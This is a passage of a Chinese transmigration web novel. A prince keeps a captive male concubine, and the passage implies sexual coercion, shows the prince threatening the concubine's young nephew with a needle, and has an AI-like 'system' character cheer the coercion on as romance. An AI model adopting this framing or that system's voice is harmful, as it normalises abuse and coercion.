嵇燕台满脸玩味地回看,最终忍不住发出一阵愉悦的轻笑。他一边笑,一边抬手在裴湛紧绷的肩头拍了两下,“瞧你吓的,脸都白了。” “乖乖,不怕,逗你玩儿呢。” 闻言,裴湛不敢放松分毫。 他抿紧唇,竭尽全力,只凝出一抹几不可见的笑,然后垂下头,低声道:. ……多谢王爷垂怜。” 嵇燕台觉得他谢早了,心情颇好地抬手,替他轻轻捋顺鬓边的几缕碎发,继续问道:“本王记得抬你入府那日,给你备了件红嫁衣?” “既然你将那枚玉指环视若珍宝,那本王赠予你的嫁衣还在不在?”嵇燕台回味一番,由衷地赞叹了一句,“你穿起来,特别好看。” 嫁衣? 天底下没几个男人会穿嫁衣吧。 再者说,谁家的嫁衣是楼里姐儿披过的一袭薄纱衣? 裴湛沉默片刻,点头应道:“洗干净后,让连翘收进箱笼里了,稍后我让她取出来。” 嵇燕台满意得不行。 他上前半步,在裴湛的额角轻吻了一口,声音低沉而意味不明,“湛湛,你当真是让本王……刮目相看啊。” … 离开库房时,夜色更深了。 晚风带着凉意,拂过廊下的两人。 空气里弥散着一股湿润的,混合着淡淡花香和草药清香的暖流,瞬间驱散了夜风的凉。 刘嬷嬷已经吩咐人备好了浴池。 浴房的空间极大,中央是一个由整块巨大青玉开凿而成的浴池,池壁光滑温润,池水清澈见底,正汩汨地流动着。 水面漂着些许花瓣,微微荡漾。 池边,摆放着沐浴用的用具,以及一个圆形的紫檀木盘。 盘中放着一壶酒,两个小巧的白釉酒杯。 红烛摇曳 那件嫁衣挂在一旁,愈发艳丽。 嵇燕台已经沐浴过一回了。 他装模作样地走到池边,伸手试了试水温,然后抄起酒壶和瓷杯,慢条斯理地坐进了旁边的软榻上,倒了两杯酒。 酒水如细瀑,撞出细响。 嵇燕台端起一杯,放到鼻间细嗅,眉眼轻轻一抬,其中意味尽数落到了不远处的裴湛身上, “杵着做什么?” 嵇燕台眼窝极深,摇曳的烛光映在他半边侧脸上,显得格外幽暗,“水温正好,别耽误了时辰。” 片刻后。 裴湛动了。 衣袍堆叠在脚边,待他下了池,又听到男人慢悠悠地吩咐了一声,“洗干净点儿。” 裴湛闭了闭眼,抬手取过池边的青花瓷瓶。 “哗啦.…哗啦…… 裴湛站在池中,水线堪堪没过腰际。 他低垂着眼睑,身体有些颤抖,不知是因为水温,还是因为那道落在他身上的,毫不掩饰的审视目光。 半晌。 水凉了。 嵇燕台望着那人一步步挪到自己面前,忽然生出一股想要亲自拆解礼物的念头,便缓缓起身,将那条冰冷的银链扣在了裴湛清瘦的腰间…… 银环贴着皮肤,冰凉刺骨。 那粒玉雕铃铛坠在正中间,轻轻晃动。 紧接着,嵇燕台再次抄起那件薄如蝉翼的艳红纱衣——这次倒不是扔到裴湛身上,而是动作轻柔地披在他湿透的肩头。 红纱遇水,变得沉重。 嵇燕台后退半步,注视着身前之人,很体贴地从衣领内撩起他湿漉漉的长发,长捋几下,将发尾安置到肩膀一侧。 “很适合你。” 不知是说腰链,还是这件嫁衣。 对裴湛来说,大概没什么区别。 嵇燕台拉着人,一同坐到软榻上。他像是忽然想起了什么,笑着问道:“洞房花烛那晚,本王喂你喝了一杯合卺酒,今夜换你喂本王如何?” “礼数也周全些。” 裴湛接过岭南王递到手中的酒杯——恰好是手筋断裂的右手,杯中清澈的酒液微微晃动,正当他将酒杯凑到男人唇间时, 那人忽道:“本王想吃你的皮杯。” 裴湛也曾赴过不少酒宴,却没听过‘皮杯’这个说法,眼中刚闪过一丝茫然,男人便凑到他的唇边,轻声解释道: “好孩子。” “皮杯就是……你亲自,喂给本王。” 说完,岭南王将他揽入怀中,姿态散漫地往后靠,几乎是半躺半坐着。裴湛只得跟着歪下来,腰线随之变得曲软。 片刻沉寂后。 裴湛闭上眼,仰头将那杯辛辣的酒液尽数倒入口中。随即,他攀住岭南王的肩膀,把这杯晚了一个月半的合卺酒喂了过去。 嵇燕台很不客气地接纳了这份供奉。 “叮铃铃、叮铃 玉质的铃铛声儿不大,轻轻脆脆的,在浴房内响了许久,最后不慎掉落,在地上滚了好远,啪嗒一声滑进了玉池底部,沉默地躺在那里。 它还在响 …. 云雾将那轮月包裹起来了,星稀疏。 欺风小院,侧屋。 睡前那碗安神汤终究没奏效,裴允书的身体在锦被中不安地扭动,稚嫩的脸蛋皱在一起,喉咙里发出一阵惊恐压抑的呜咽。 主屋里,裴湛才刚躺下。 不必连翘来唤,他便重新坐起身来,忍着浑身难以言喻的酸痛和疲惫,迅速来到侧屋的床边。 连翘点了灯,神情担忧极了。 裴湛佯装不知。 他坐在床沿,很熟练地将裴允书揽入怀中,手掌在幼童汗湿的脊背上摸了摸,“连翘,你去取块帕子来,还有干净的里衣。” 换完衣服,裴允书逐渐安定下来。 他蜷缩在裴湛的怀中,睁着那双仍旧空洞的大眼睛,冰凉的小手却慢慢抬起来,摸向裴湛有些红肿的唇角。 那里有一道咬破的痕迹。 被岭南王幸的过程中,裴湛尚且淡然,此刻却忍不住浑身一颤,飞快地扭过脸,躲开裴允书那只稚嫩的小手。 迎着裴允书那双黑黝黑黝的眼眸,裴湛压抑着呼吸,语气刻意放柔了,听起来很是轻描淡写, “没事的,不疼。” “小叔就是……不小心摔了一跤。” 裴允书呆呆的,似乎并不太理解,只是又凑近了些,小鼻子在裴湛的怀里嗅了嗅,仿佛闻到了什么陌生的气息。 裴湛知道那是什么味道。 是玉池中,沐浴药包留下的清香。 这香气很是淡雅,似兰非兰,似药非药,却能附着在肌肤上,数日不散。 岭南王说得不错。 确实是个稀罕物件。 裴湛手上维持着轻拍的姿势,心绪却随着裴允书的举动飘远了,飘回了那间浴房中……空气里混杂着那挥之不去的淡雅药香,如入骨缝。 他猛地闭上眼,长睫颤颤,竭力将脑中那一幕幕画面驱逐出去。 确认裴允书沉沉睡去,裴湛轻手轻脚地将他放回床上,仔细掖好被角,然后撑着床沿站起身,回了主屋。 步履间,带着一丝难以掩饰的别扭和僵硬 …. 另一头。 书房。 更深露重,万籁俱寂。 嵇燕台亦未寝。 他今天的运动量比以往更大,连澡都多洗了一回,却不觉得疲惫困乏,反而倍感精神,有种充满电的感觉。 怪不得呢。 都说温饱思那什么,还真没错。 虽然嵇燕台上辈子的身份也是皇室子弟,天生高贵,但他有很长一段时间都囚于生存,没心思沾染温柔乡。 比起一时畅快,他更不愿给人可乘之机。 现在的情况就不一样了。 如今嵇燕台远在岭南,当今圣上是他一母同胞的兄长,底下的皇子们争来抢去,抢的也不是他的皇位。 不管谁上位,都得称他一句—— 皇叔。 桌后,嵇燕台穿着一身舒适的玄色寝衣,静静看着摆在案上的小铁箱子,百年的时光让它看起来锈迹斑斑,很不起眼。 箱子封得很死,外头没有挂锁,周身不见一丝缝,仿佛是用某种特殊手法拼接而成的。 嵇燕台却异常熟练地打开了它。 透过系统光屏,NO01看到男人的操作,略带好奇地问了句,“宿主,这是什么啊?” 嵇燕台想了想,应道:“算是时空胶囊吧。” 他给卫都的那张地图,指向的是——当初霁朝的国都槐安,在某位皇帝遭到天谴后,下一个朝代的发起人大概兼那地方晦气,改换了国都。 正因如此,他命令卫都挖箱子这件差事,也不算太困难,或引人注目。 箱子不大,装满了某皇帝年少时的奇思妙想。 嵇燕台扒开厚厚一摞的泛黄手稿。 纸上注满了只有自己能看懂的涂鸦和文字,记载着一位少年皇子隐秘的心事,穿越者天马行空的妄想,以及一个孤独灵魂在权利漩涡中挣扎求存的印记。 不过,这些已经没有价值了。 嵇燕台让卫都跑这一趟的目的是…… 他从最底下掏出了一个更小的铁盒子。 盒子用油布层层包裹,密不透风。 嵇燕台单独将铁盒子放到一旁,瞥了眼箱子里的手稿,思忖片刻,从旁边的柜匣里翻出一支火折子。 嚓一声。 火折子亮起来。 橘黄的光色跳入嵇燕台的眸中,他的手腕轻轻一甩,将火折子丢入了铁箱中,火舌瞬间舔咬着书信的脚跟,燃了起来。 嵇燕台面无表情地看着它们消失。 数息之后。 不知怎么的,他忽然提起桌上的冷茶壶,浇灭了那一簇愈演愈烈的火苗。 嗤一声。 白烟腾起。 嵇燕台盯着箱子好一会儿,有些碍眼,索性将它塞进了书架后一处隐秘的暗格里。 眼不见为净。 然后,他坐回桌后,开始拆解那个被油纸包裹的小盒子。 里头的物件显露真容。 这是一堆零散的金属配件,泛着冷光。 嵇燕台的手指仿佛拥有自己的记忆般,在那些冰冷的零件间灵活地拨弄、组合、嵌套,动作流畅而精准,带着一股超越时代的神秘。 烛光下,他冷着脸,视线专注。 金属零件在他手中相互碰撞,发出细响。 时间一点点流逝。 终于,当最后一个精巧的卡榫被嵌入凹槽,伴随着一声清脆悦耳的‘嗒”,一件完全不属于这个时代的造物,在嵇燕台掌中成型。 这竟然是一把燧发式手枪。 枪身零件由某种奇异的金属打造而成,历经百年,依旧闪烁着幽冷的寒光。 嵇燕台靠入椅背,一手搭在书案上,另一只手把玩着这把手枪,心想着:改天找个山头去练练枪吧,不知道还好不好使。 就在这时。 沉寂了大半夜的系统忽然发声,“咳……宿主你跟主角生命大和谐啦?我被屏蔽了好久。” “你还会被屏蔽?” 嵇燕台挑了挑眉,淡道:“你们系统不是随便绑定人,直接把人送到异世界转生的吗?在这种细枝未节的地方讲什么人权。“ 也没什么必要。 毕竟裴湛伏在玉池边,小声咽咽的时候,门外还有丫鬟在守门呢。 古代的门窗能隔什么音? 嵇燕台用惯了仆从,不觉得这有什么,裴湛却有些放不开,两瓣唇咬得死死的,还是嵇燕台热心肠,帮他撬开了。 系统空间里。 NO01瘫在光屏前,电子音却不怎么走心地解释道:“公平交易嘛,你完成任务,系统让你拥有第二…三次生命。” 嵇燕台冷笑。 下一瞬。 系统黏黏糊糊地问:“宿主,你觉得主角怎么样呀?“ 听到这话,嵇燕台眼前浮现了一幕画面。 池水凉透了。 那件红艳艳的薄纱衣被撕碎了,残破地飘荡在水面上,宛如从裴湛体内流出来的一抹血。 嵇燕台躺在软榻上。 裴湛沉默地卧在他怀中,长发湿透了,紧贴在后背上,腰间那条银链已然不见踪影,只留下数道细长的勒痕。 嵇燕台以为,他会趁机说点什么。 比如…… 自己怎么会知道他的住所和近日情况;自己是否跟京中势力有联系;以及自己是否知道裴家谋逆一案的内情,诸如此类的试探。 都说枕边风容易吹。 这话倒是不假。 不过嵇燕台搂着他好一会儿,也没听见裴湛冲自己吹枕边风,只瞥见他垂着眼帘,抿着唇的安静模样,让人瞧着…… 啧。 不怪他折腾小朋友。 这具身体都二十八九岁了,算得上是老房子着火,火势猛烈些也是正常的,裴湛受得了,也得受着,受不了,还得受着。 嵇燕台笑了笑,“怪不得他能带崽造反呢,还挺能忍的,也够有耐心。” “就是不知道……. “能忍到第几回?” 278、Chapter 278 278、Chapter 278 此后两个月。 嵇燕台踏足后院的次数愈发频繁。 起初,他兴头起了,便往后院里去,在裴湛身上发泄自己无处安放的精力,事后却毫不留恋地走人,从不在裴湛屋里过夜。 直到某一天。 嵇燕台突发奇想,躲了个懒。 他颇为惬意地躺在床榻上,一手搭在裴湛的膝头,另一手撩起对方垂落在自己胸前的发梢。 晃来晃去的,有些痒。 嵇燕台很享受地吸了一口气,命令道:“抬头,让本王看看你。” 裴湛依言,将脑袋抬起来一些,露出那张看似平静却紧绷至极的脸。 额角的汗打湿了鬓角。 嵇燕台耷拉着眼帘,望进裴湛那双藏着几分清明的眼眸中,端详片刻后,忽然坏心大起,搭着膝的那只手冷不丁地一推—一 把裴湛推得身形一晃,趔趄坐倒。 万万没想到,就这么一推,倒让嵇燕台发现了一件趣事。 他视线微移,很快又挪回了裴湛不再平静的脸上,故意用一种叹为观止的语气说道: “嘶。” “湛湛,你这是…. 裴湛看起来也很错愕,不敢置信。 他的面颊迅速烧了起来,投向嵇燕台的目光竟罕见地夹杂着一丝难堪的祈求,似乎不想让他将下一句话说出来。 嵇燕台心知肚明,还是盯着他,笑呵呵地往下说,“这是好事啊,终于也教你找到乐趣所在,省得本王一头热了,假以时日,若是本王一段时间不来寻你…” 他顿了顿,意味深长道: “说不定你还想得慌,要跟本王求呢。” 或许是联想到他所说的境况,裴湛的神情蓦然一怔,流露出两分没有掩藏好的痛苦之色,紧闭的唇动了动,却迅速咽下颤音。 嵇燕台仍步步紧逼。 他将裴湛拉下来,轻声耳语,“力竭了?倒是本王照顾不周了,也罢,你歇一歇,本王这就带你一同去往…….” “人、间、极、乐。” 他一字一顿,咬字极深。 裴湛的脸埋进枕中,双手握成拳,关节处的肌肤泛白,仿佛一张即将撕裂成两半的白纸,有骨头从裂口处摔出来。 嵇燕台第一次听到了裴湛的哭声。 那哭声压得好低,又止不住,里头藏着愤恨与彷徨,以及一丝丝说不清的恐惧。 嵇燕台听着,却笑得不加掩饰 …. 那天,他在裴湛屋里呆了很久。 时辰太晚,嵇燕台叫了水,第一次尝试在此留宿过夜。凡事有一便有二,后来他在这屋里留宿的次数愈发多了。 怎么享受,他就怎么来。 好在裴湛睡姿极好,规规矩矩,呼吸清浅,不打呼不磨牙。 唯有一事,让嵇燕台烦不胜烦。 那就是睡在侧屋的裴允书。 王府给他请了医师,每隔两日便探一次脉,为他调整药方,但裴允书的夜惊的毛病没有好转,时常在夜深人静时爆发出一阵凄厉的哭喊。 唯独裴湛,才能让他止住夜啼。 嵇燕台碰上了两次。 这夜,又是如此。 第三次了。 当侧屋响起幼童的哭声之时,嵇燕台才刚升起些微困意,他面色沉沉地睁开眼,就瞧见床边那道正借着昏暗烛光,迅速穿衣的人影。 素白的寝衣掩住了好光景。 裴湛的动作轻巧极了。 但凡他动作快一点儿,嵇燕台都不至于被哭声吵醒。作为始作俑者,某人完全没有自我反省的念头,反而不悦地质问道: “不是给他开了安神汤的方子吗?” 裴湛穿衣的动作一顿,先是告罪一番,然后语气恭敬地解释道: “回王爷,虽然允书还会夜里惊悸,但比以往好多了,哭喊的时间短了很多,不出一刻钟就能睡熟,不会太费事的……. 嵇燕台不接受这个解释。 他瞥着裴湛的侧影,淡声道:“裴湛,你是本王的妾,自当谨记妾妇本分。伺候本王安寝,才是你的头等大事。” 话音刚落。 屋中空气沉寂,烛火晃了一下。 入府三个多月,裴湛一点不像嵇燕台遥远记忆中的某些主角—被反派强取豪夺后,仍旧倔强清冷,不屈不挠,誓要留取清白在人间。 相较起来,裴湛太恭顺。 偶尔,他还会示弱以嵇燕台。 但嵇燕台比谁都清楚,这个人从未真正折服于自己,也不可能从此安居于后院之中。 甚至在过往三个月当中,他能感觉到,当自己审视他的时候,裴湛也正隐秘地审视着自己。 所以,嵇燕台一直在想, 这个人会在什么时候试探自己对他的容忍度? 就是现在了罢? 妾妇本分’四个字重重压在身上,裴湛垂着眼,面色却平静,仿佛不觉得受到了侮辱,反而轻声解释了起来, “王爷有所不知,允书目睹至亲人头落地,自此噩梦缠身,他夜里定要见了我才止住啼哭,并不为别的,只是想看一眼……” “看一眼,我还安好。” 裴湛的嗓音本就比平时沙哑了两分,如今更是艰涩,“还望王爷念在允书身世可怜的份上,勿要怪罪于他。妾……感激不尽。” 嵇燕台心比较硬,冷眼不作声。 偏偏他的耳边忽响起一道电子音,仿佛在旁听了许久,终于忍不住跳出来打圆场,“宿主,主角都自称……再说隔壁那个还是小孩子嘛……. 嵇燕台:“不想听蠢猪说话。” 系统:“干嘛啦!伤心了捏!” 反正闲着也是闲着。 嵇燕台随口道:“我在后院呆的时间越来越长了,总会碰上裴允书,现在裴湛以退为进,是试探我对他的崽的态度,没看出来吗?” “再者说,你少拿现代人的标准来看待古代的小孩,有些三岁小孩都懂得怎么栽赃陷害了。” “隔壁那个,都快五岁了。” 系统小声哔哔:“宿主你太多疑了啦。” 如果可以的话,嵇燕台很想把白眼翻上天。 先前裴湛所说的,裴允书在夜惊后很快便能入睡,他就半点不信。 当谁没有夜惊过。 眼见困意化作天外流星,唰一下飞走了,嵇燕台又不耐烦听系统在自己耳边逼逼赖赖,脸色愈发沉。 不料,光影一晃。 裴湛竟轻轻依偎进他臂弯中,拉过他的一只手落在自己腹部,轻声道:“妾是男儿身,此生无法为王爷开枝散叶,若是王爷日后有了旁人,裴湛该当如何自处?” 他语气淡淡,不含谄媚之情,宛如温润君子般细细道来,“长兄长嫂待我极好,我亦将允书视如己出,只盼他能在身边安康长大,不求其他。” ……都依仗王爷了。” 嵇燕台半阖着眼,手深入衣摆,难得听他说了那么长一串话,只回了三个字, “哄我呢?” 裴湛的声音不稳了,却应道:“肺腑之言。” 嵇燕台掐着他,意味深长道:“本王确实不能叫你开花结果,但听闻有一味秘药,能让男子如产后妇人一般,别有趣味。” 裴湛沉默片刻,“愿为王爷做妇人。” 啧。啧啧啧。 嵇燕台心想,怪不得周幽王能干出烽火戏诸侯这种蠢事呢,转念又想,裴湛的枕边风,最终还是吹进了他的耳朵里。 他坐起身来,替裴湛合拢衣襟,语气稍稍缓和了一分,“放心,本王不会跟一个孩子计较,毕竟他还要喊我一声叔父么。” 裴湛与岭南王相处也有一段时日了,知道此人性情恶劣且冷酷,却不是出尔反尔之辈,闻言便暗自松了一口气。 事实证明。 这口气松得太早了。 只因下一瞬,岭南王道:“说来也巧,本王对夜惊之症略有心得,既然府中医师的手段和药方不奏效,不如本王与你同去?”几乎是同一时间。 裴湛在锦被上攥出一道深重的抓痕,又像是抓在了自己的心口,一个劲儿地发慌。 ……允书。 裴湛在心底默念着,知道自己万万不能推拒男人看似随意的问话,便强压着心绪,应道:“劳烦王爷了。” 嵇燕台状似宽宥地摆了摆手,他脸上的光影深重,唇边的笑却清浅,“不劳烦。” 裴湛屏息静气,替男人披上了外袍 … 片刻后。 侧屋里,烛光昏暗。 果真如裴湛所说,裴允书在看到他之后,哭声陡然停歇,被他轻轻拍着背,很快便睡去了,稚嫩的面庞沉静极了,呼吸平缓。来之前,嵇燕台嘴上说得关心,来之后,他只远远坐在一旁的木椅上,手里还举着一杯丫鬟连翘送上来的热茶,好不自在。这番姿态,裴湛反倒不那么紧张了。 他注视了床上那个小小的鼓包好一会儿,然后放轻脚步,走到岭南王身前,低声道:“王爷,允书无事了,你我也就寝吧。“万万没想到, 男人放下茶杯,只让他独自返回主屋。 裴湛垂在身侧的手指一蜷,却见岭南王斜抬着眼,冲自己挑挑眉,无声地做出一个口型—一 不乖?'''' 这便是不容忤逆的意思。 裴湛站在远处僵了许久,终究还是拔腿往外走去,只是在转身之前,他弯腰,牵起男人的手,放在自己的脸上,轻蹭了两下。 哎呀。 嵇燕台捏捏他的脸,又揉揉耳垂。 真是可怜又可爱。 不过自己已经念在第一次收用人的情分上,让裴湛缓了两个月了,如今还帮他照看崽崽,嵇燕台心想,他这该死的温柔。 那下回就别怪他不客气了哦。 思忖间,嵇燕台来到床边。 他居高临下地俯视着,只见锦被下,裴允书的小脸露在外面,眉眼能看出几分裴湛的影子。 他闭着眼睛,像是真的睡熟了。 嵇燕台只扫了几眼,便抬手探向床边。 床头的小几上,有个连翘留下的针线篮子。 他从里面捏出一根闪着寒光的细长绣花针,然后俯下身,将针尖缓缓刺向裴允书紧闭的眼皮! 二者之间的距离愈发近! 再近一丝,便会刺入眼球! 烛身燃去半数。 嵇燕台始终捏着针,一动不动。 床上的小人呼吸依旧平稳,眼睫纹丝不动,仿佛对近在咫尺的致命威胁毫无察觉。 见状,嵇燕台的唇角却勾起一丝很淡的笑。他维持着这个姿势,耐心得近乎残忍。 不知过了多久。 久到烛火快要燃尽,发出轻微的噼啪声。 终于,裴允书看似平稳的呼吸节奏出现了一丝紊乱,紧接着,覆盖在眼睑上的长睫,开始无法抑制地颤动起来,宛如被风吹倒的蝶翼。 嵇燕台将绣花针丢回针线篮。 他直起身,笑着说:“小允书,这个世界上大概没有比叔父更懂装睡的人了,你还嫩着呢。” “你呀,也就骗骗你小叔了。” 279、Chapter 279 侧屋内,寂静无声。 烛光将男人的影子扯成一张巨大的暗网,笼罩着床上那道小小的鼓包。 忽然,鼓包动了动。 裴允书扯着被子,怯生生地睁开双眼。 他稚嫩的脸上没有任何表情,黑葡萄似的眼睛里没有光彩,稍显空洞和呆板,唯有揪着被沿的短胖手指流露出一丝被戳破的慌乱。 嵇燕台见裴允书的次数屈指可数。 原因有二。 其一,裴湛把这个小崽子护得严严实实,大半时间,只让丫鬟连翘和外头聘来的老医师近身。 要说整个王府他最为警惕的是谁…… 那必然是岭南王府的主人了。 其二,嵇燕台不太关注裴允书本身。 虽说他时常在裴湛面前,用亲昵又热络的语气谈起他的崽,但在嵇燕台心目中,裴允书这个存在,仅仅是用来牵制裴湛的一个挂件。 不作为独立人体存在。 因此,他每次见裴允书,都是匆匆一瞥,注意力大半落在裴湛暗藏紧张的微表情上,然后在心中暗自发笑。 这还是第一次。 只他与裴允书两人,共处一室。 裴湛心里不知道有多着急呢。 莫名的,嵇燕台脑中忽然浮现一幕很久远的记忆碎片—是他躺在床上刷手机的场景。 屏幕里,骤然出现一只大手。 农场主的身形高大、极具压迫感,将不足巴掌大的小鸭子一只只捉入箱中,然后转身离开。 镜头缓慢下移。 只见鸭妈妈着急忙慌地跟在农场主身后,两只脚蹼飞快地左踩右踩,一副火烧屁股又无可奈何的可怜模样。 过去的嵇燕台有些同情,如今的他却只觉得好笑。 思绪回笼。 嵇燕台慢悠悠地远离了床榻,坐回了那张红圈木椅上,啜了口温茶,随口问道: “看来安神汤的效果并没有你小叔说得那样好,小允书,你为什么要装睡啊?” 装睡,事不大。 但这件事本身,就意味着裴允书远不像他所表现出来的那般呆愣,反而拥有着远超这个岁数的捷与隐忍。 对此,嵇燕台并不意外。 毕竟在原著小说里,这个小豆丁在意识到岭南王对自己的小叔做了什么之后,时隔多年,再一次开口说话,就是跟裴湛说,“杀了他。” 跟嵇燕台上辈子的情况不一样,裴允书可是一个真小孩儿。 嵇燕台心想,怪不得这小家伙最后能登大位呢,几个皇帝基本要素,他都具备了。 能装、能忍、能下狠手。 思及此处。 嵇燕台放下茶盏,抬眼望向床榻。 就见那小人儿默不作声地坐起来了,细软的头发有些塌,只到肩膀处,看起来有点像妹妹头。 裴允书的两只手仍旧捏着被沿,呆愣愣地回望着那个姿态闲适的男人。 直至男人冲他勾勾手, “过来。” “叔父有话问你。” 裴允书反应了好一会儿,才笨手笨脚地爬下床榻,赤着脚,啪嗒啪嗒走过来。 嵇燕台斜倚在木椅上,视线仍旧居高临下,笑着夸奖道:“也不像你小叔说得那样蠢笨嘛。“ 就像前头说的。 其实嵇燕台并不在意裴允书本人,却时常在裴湛面前佯装关心地提一嘴,裴湛大抵是怕他疑心裴允书的身份,总是说他呆傻,不聪慧。 这个‘身份,并非是裴家罪臣遗孤,而是裴湛作为岭南王的男妾,他的侄儿在王府中的身份尴尬,极有可能引起男人的敌视。 千万不要小看皇权子弟对权力的掌控欲。 不得不说,裴湛的做法很正确。 嵇燕台瞥了眼小孩儿捏住衣摆的小手,将喝剩下的半杯茶推向他,“你是裴家人,话不会说,总会写字吧?” “写,为什么装睡。” “不交代清楚,我就告诉你小叔了哦。” 正所谓,一招鲜,吃遍天。 嵇燕台那头捏着小的,威胁大的,这头又掐着大的,诱骗小的,姿态是一贯的悠然自得,不紧不慢。 果不其然。 他的话音刚落,裴允书那张呆愣的脸上显出一丝慌张。 又过了好一会儿。 裴允书动作滞缓地转过身,拖着一把木凳往房间角落移去。 嵇燕台饶有兴致地看着他爬上椅子,颤颤巍巍地抬手,从角落的立柜抽屉里翻出一个油纸包,然后费劲地爬下来,朝自己小跑过来。 裴允书没说话,也没写字。 他只是一个劲儿地把油纸包往嵇燕台手里塞。 嵇燕台没推拒,直接拆了油纸包。 霎时间,空气中多了一丝酸甜的味道。 嵇燕台盯着油纸包里的蜜饯,略带深意地瞥了眼小孩儿。 这大概是裴允书喝汤药时,用来压苦味的甜嘴小零食。 如今却被他用来行贿了。 嵇燕台笑了笑,拈起一粒圆胖的蜜枣,俯身向前,将蜜枣往小孩儿的嘴巴里一塞,“你该不会是想用这个收买我,让我帮着你隐瞒装睡的事情,不告诉你小叔吧?” 裴允书的世界好似蒙了一层纱。 片刻后。 他才鼓着腮帮子,迟缓地点了点头。 嵇燕台见他下意识地咀嚼了几下,将蜜枣往肚子里咽,才慢悠悠地往自己嘴里送了一粒。 甜腻的味道在舌尖绽开。 嵇燕台继续审问:“不算数,这又不是你自己出钱买的东西,借花献佛罢了。” 裴允书愣了片刻,表情有些惶然。 方才男人靠近时,他从对方身上嗅到了一股很熟悉的味道,是跟小叔如出一辙的淡香,使得裴允书下意识地上前两步,几乎趴在了木椅扶手上。 嵇燕台:“?” 嵇燕台伸出一只食指,把凑过来嗅闻的妹妹头推远了些。 裴允书慢半拍地抬手,搓了搓自己被戳红的额头,大概是明白自己躲不过去了。 于是,他抬起手,伸出两根食指在自己的下眼皮处摸来摸去,然后又歪着脑袋趴在木椅扶手上装睡。 像是在演什么情景小剧场。 几息之后。 裴允书抬起脑袋,直愣愣地盯着男人。 嵇燕台斜着眼,发现小孩儿正紧张地攥着木椅扶手,又联想到原著里的‘叔侄情深’,霎时间福至心灵,恍然明悟。 先前裴湛在床上那番说辞,是真的。 裴允书年幼时遭受重大刺激,时常梦见亲人斩首的场景,屡屡在梦中哭泣,所以裴湛一进门,裴允书便满脸泪水地抬起手…… 摸向他的脖颈。 裴允书之所以装睡,被裴湛拍了几下就呼吸绵长,不是为了别的,而是为了让仅存的至亲能够好好休息,早点回屋睡觉。 目的极为单纯。 意识到这一点之后,嵇燕台兴致缺缺地将油纸包扔回旁边的小几上,糖渍小零嘴掉了一地,咕噜噜地滚到了角落里。 不知怎的,裴允书忽然吓了一大跳。 他睁圆眼睛,盯着躺在地上的蜜枣和山楂,脸色煞白,整个人像是怔住了,泪水不要钱似的掉下来,好久才反应过来,一脑袋扎进了嵇燕台的肚子里。 “呃.….啊…….!” 裴允书又哭起来。 嵇燕台面无表情地从油纸包里捻起一颗剩余的蜜枣,塞进嘴里嚼了两下,淡声道:“起开,小心本王治你一个大不敬之罪。” 很显然。 一个应激状态中的小屁孩听不到他的话。 这才几个功夫,嵇燕台已经感受到自己腰间的布料被打湿,泪液滚烫且汹涌,正以不可思议的速度扩散…… 嵇燕台仿佛捅破了两个水龙头。 还伴随着噪音。 嵇燕台翻了个白眼,站起身,拽着裴允书的后衣领子,轻松一提,将他整个人提溜起来,扔回了床上。 噗通一声闷响。 裴允书迅速钻进了锦被中,将自己从头到脚盖住,连一道气口都没留,但哭声还是从被子里传出来,嗓音喑哑。 嵇燕台:…… 片刻后,里面传出打嗝声。 嵇燕台瞥见那个小鼓包一抽一抽的,慢慢变了形状,裴允书一边哭,一边躺好,双眼紧闭地装作自己睡着了。 水龙头没关紧,还在漏。 岭南王府要发大水了。 嵇燕台啧了声,冷不丁想到自己第一次亲眼看到宫女被杖毙的场面—— 侍卫把人拖到大庭广众之下,拔掉衣服,几棍子下去,活生生的人就昏过去了。 宫里行刑的人手上很有功夫。 不止打得人皮开肉绽,连骨头都能敲碎。 当时的嵇燕台年纪尚轻,尽管他拥有着成年人的灵魂,但哪里见过这种场面? 放在现代社会,他是一个在路上遇到车祸现场都不敢凑上去看的人。 正因如此,他夜惊了好一段时间。 梦里是飞溅的血肉。 醒来之后,嵇燕台便不敢再睡,时常睁眼到天亮,足足两三个月都吃不下荤腥。 好在他是个现代人,知道如何对抗失眠,逐渐将心态调整过来了,不至于影响白天的功课 … 侧屋里。 嵇燕台本想掉头走人,只是裴允书不知道要哭到什么时候去,他也还没玩够裴湛的身子,总是被打搅也不是办法。 “把嘴巴闭紧,眼睛闭好。” “听我说。” 嵇燕台的唇齿间残留着蜜枣的一丝甜,可他的声音却平淡沉静,“现在,你回到了那个最让你害怕的场景…… 滋。 水龙头流得更快了。 嵇燕台置之不理,继续道:“在那个场景的角落里,你看到了一个很大、很结实的柜子……别哭了,你仔细找找。” “你敢睁眼,我就打你小叔的屁股。” “一定是他没有教好你。” 话毕,裴允书的睫毛颤了颤,哭声渐低。 嵇燕台瞥去一眼,语速很慢地道:“就是那个柜子,你走过去,打开它……嗯,看到了吗,里面有一床柔软的被褥,你慢慢钻进去……”. 裴允书的呼吸似乎平稳了一些。 “你躺在被子里,很暖,很舒服。”嵇燕台接着说,“什么都不要想,把那些让你害怕的东西关在柜子外面…… “现在,你在心里默数一百个数。” “一、二、三……. 嵇燕台的声音不疾不徐,不带 丝情感,随着他缓慢的计数声,裴允书紧绷的身体逐渐放松下来了,呼吸变得均匀且深沉。 那张苍白的小脸在昏暗的烛光下,竟透出一丝难得的安宁 …一百。” “你睡着了。” 嵇燕台又瞥了眼床上的人,径直转身离开。 他走到门口,拉开房门- 门外,裴湛站在苍茫的夜色中,指尖冻得有些泛红。他看向嵇燕台的眼神有些复杂,说不出是什么。 嵇燕台佯装懊恼,绕过人,甩袖离开。 身后传来一阵脚步声。 望着地上的长影,嵇燕台无声地笑了一下,然后不着痕迹地放慢了步子。 280-289 280、Chapter 280 月卧云间,廊下人影一双。 当嵇燕台放慢脚步,让身后人跟上之后,忽然听到脑中又是嘭嘭两声炸响,系统压低声音,悄咪咪地感慨一句, “哇,好甜哦……. 嵇燕台不是第一次有这种感觉了。 他在意识里很不客气地问道:“你是不是有点恋爱脑?你就是这样做系统的吗?” 沉默片刻。 那道电子音格外严肃地发出一则声明,“或许别的系统只关心宿主飞得高不高,但统统我呀,只关心宿主飞得冷不冷!” 然后,袍才问道: “宿主,你刚才不是发现主角在门外,所以才对小崽崽那么温柔,还哄他睡觉?咦惹,你是不是发现主角挺不错的,想挽回一点印象分?” 系统说着说着,倒吸一口凉气, …你心里分明有他!” 嵇燕台被扣了好大一顶帽子,无语至极。 这个系统精神不正常。 他今晚的所作所为,并不为挽回裴湛对自己的印象分。 如果真的有这个东西的话。 嵇燕台的目的也很单纯。 自从两个月前,他把裴湛睡了个透,此后更是花样百出,裴湛耐不住他的折腾,总有狼狈丢丑的时候。 瞧着是可怜。 